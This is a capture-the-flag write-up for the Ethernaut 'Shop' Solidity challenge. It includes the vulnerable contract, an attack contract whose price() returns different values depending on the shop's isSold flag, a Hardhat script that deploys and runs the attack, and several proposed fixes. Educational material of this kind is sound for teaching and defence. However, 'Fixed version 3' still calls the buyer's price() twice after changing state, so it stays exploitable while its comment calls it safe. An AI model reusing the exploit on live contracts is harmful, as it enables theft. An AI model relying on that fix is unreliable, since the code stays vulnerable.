Shop Challenge - Ethernaut Level 21
Challenge Description
Challenge Goal
Buy the item from the shop for less than the asking price. This requires understanding how view functions can return different values based on contract state and exploiting the fact that the price() function is called twice with different state conditions.
The Vulnerable Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() {'>='} price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}The Vulnerability
The vulnerability in this contract is subtle but exploitable. The issue is in the buy function:
- Double Function Call: The contract calls
_buyer.price()twice with the same input but expects consistent results - State Change Between Calls: Between the first and second call to
price(), the contract changes its state by settingisSold = true - View Function State Reading: Even though
price()is marked asview, it can still read contract state and return different values
The key insight is that while view functions cannot modify state, they can still read state variables and return different values based on the current contract state.
The Attack Strategy
To exploit this vulnerability, we can create a price() function that returns different values based on the shop's isSold state:
- First Call: Return a value >= 100 to pass the price check
- State Change: The shop sets
isSold = true - Second Call: Return 0 to set the final price to 0
The Attack Contract
Here's the attack contract that exploits this vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function isSold() external view returns (bool);
function buy() external;
}
contract ShopAttack {
function price() external view returns (uint256) {
// Return 100 for the first check, but 0 for the second check
bool sold = IShop(msg.sender).isSold();
if (!sold) {
return 100; // Pass the first check
} else {
return 0; // Set the final price to 0
}
}
function attack(address shopAddress) external {
IShop(shopAddress).buy();
}
}How the Attack Works
Attack Flow:
- Deploy Attack Contract: Deploy the
ShopAttackcontract - Call buy() Function: Call the
attackfunction which callsbuy()on the shop - First price() Call: The shop calls
price()on our contract, which returns 100 (passing the check) - State Change: The shop sets
isSold = true - Second price() Call: The shop calls
price()again, but this time our function returns 0 - Price Set to 0: The shop sets
price = 0, completing the attack
Key Attack Code:
// The critical part - our price() function
function price() external view returns (uint256) {
// Return 100 for the first check, but 0 for the second check
bool sold = IShop(msg.sender).isSold();
if (!sold) {
return 100; // Pass the first check
} else {
return 0; // Set the final price to 0
}
}
// This exploits the fact that view functions can read state
// and return different values based on contract stateDeployment and Execution Script
Here's the script to deploy and execute the attack:
const hre = require("hardhat");
require("dotenv").config();
async function main() {
// Get the Shop contract address from .env
const shopAddress = process.env.SHOP_ADDRESS;
if (!shopAddress) {
throw new Error("Please set SHOP_ADDRESS in your .env file");
}
console.log("Shop contract address:", shopAddress);
// Deploy the attack contract
const ShopAttack = await hre.ethers.getContractFactory("ShopAttack");
const attack = await ShopAttack.deploy();
await attack.waitForDeployment();
console.log("ShopAttack deployed to:", await attack.getAddress());
// Get the Shop contract instance
const Shop = await hre.ethers.getContractFactory("Shop");
const shop = await Shop.attach(shopAddress);
// Execute the attack
console.log("Initial price:", (await shop.price()).toString());
console.log("Initial isSold:", await shop.isSold());
console.log("Executing attack...");
const tx = await attack.attack(shopAddress);
await tx.wait();
// Verify the attack worked
console.log("Final price:", (await shop.price()).toString());
console.log("Final isSold:", await shop.isSold());
if ((await shop.isSold()) && (await shop.price()).toString() === "0") {
console.log("Attack successful! Item bought for 0 price.");
}
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});Why This Attack Works
View Function Behavior:
- State Reading: View functions can read contract state even though they cannot modify it
- Dynamic Responses: View functions can return different values based on the current state
- No State Modification: View functions cannot change state, but they can read state changes made by other functions
- Consistency Assumption: The contract assumes that calling the same view function twice will return the same result
Order of Operations:
// In the buy() function:
1. _buyer.price() >= price && !isSold // First call: returns 100, check passes
2. isSold = true // State changes
3. price = _buyer.price() // Second call: returns 0, price set to 0Security Lessons
- View Function Assumptions: Don't assume that calling the same view function twice will return the same result
- State-Dependent Logic: Be careful when using external view functions in state-dependent logic
- Cache Results: Cache the result of external view calls if you need consistency
- State Changes: Be aware that state changes between function calls can affect subsequent view function results
- Interface Design: Design interfaces carefully to avoid unexpected behavior from state-dependent functions
Prevention
Here's how you could fix the vulnerable contract:
// Fixed version 1: Cache the price result
function buy() public {
Buyer _buyer = Buyer(msg.sender);
// Cache the price to ensure consistency
uint256 buyerPrice = _buyer.price();
if (buyerPrice {'>='} price && !isSold) {
isSold = true;
price = buyerPrice; // Use cached value
}
}
// Fixed version 2: Use internal validation
function buy() public {
Buyer _buyer = Buyer(msg.sender);
// Validate price internally instead of trusting external call
require(!isSold, "Item already sold");
uint256 buyerPrice = _buyer.price();
require(buyerPrice >= price, "Price too low");
isSold = true;
price = buyerPrice;
}
// Fixed version 3: Separate validation and execution
function buy() public {
Buyer _buyer = Buyer(msg.sender);
// Validate first
require(!isSold, "Item already sold");
require(_buyer.price() >= price, "Price too low");
// Then execute
isSold = true;
price = _buyer.price(); // This is now safe since we've already validated
}Real-World Implications
This type of vulnerability can occur in various real-world scenarios:
- Pricing Systems: Contracts that use external price feeds or oracles
- Auction Contracts: Contracts that check bids against external price functions
- Marketplace Contracts: Contracts that validate prices from external sources
- Oracle Integration: Any contract that relies on external data sources for pricing
- Dynamic Pricing: Contracts with pricing logic that depends on external state
View Function Best Practices
When working with view functions and external interfaces:
- Cache Results: Cache the results of external view calls if you need consistency
- Validate Early: Validate external data early in the function execution
- State Awareness: Be aware that contract state can change between function calls
- Interface Design: Design interfaces to minimize state-dependent behavior
- Testing: Test with various state conditions to ensure consistent behavior
Conclusion
The Shop challenge teaches us about the importance of understanding how view functions work and how they can be affected by contract state changes. The key takeaway is that view functions can return different values based on contract state, even though they cannot modify state themselves.
This vulnerability demonstrates why it's crucial to cache results from external view calls when consistency is required and to be aware of how state changes can affect the behavior of external functions.